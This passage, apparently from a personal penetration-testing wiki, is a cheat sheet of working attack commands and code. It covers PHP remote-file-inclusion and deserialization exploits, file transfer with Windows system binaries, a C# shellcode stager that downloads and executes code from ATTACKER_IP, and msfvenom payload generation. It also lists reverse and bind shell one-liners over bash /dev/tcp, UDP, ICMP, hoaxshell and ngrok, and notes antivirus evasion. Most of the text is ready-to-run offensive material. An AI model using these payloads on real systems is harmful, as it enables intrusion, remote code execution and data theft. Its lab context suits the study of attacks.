| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
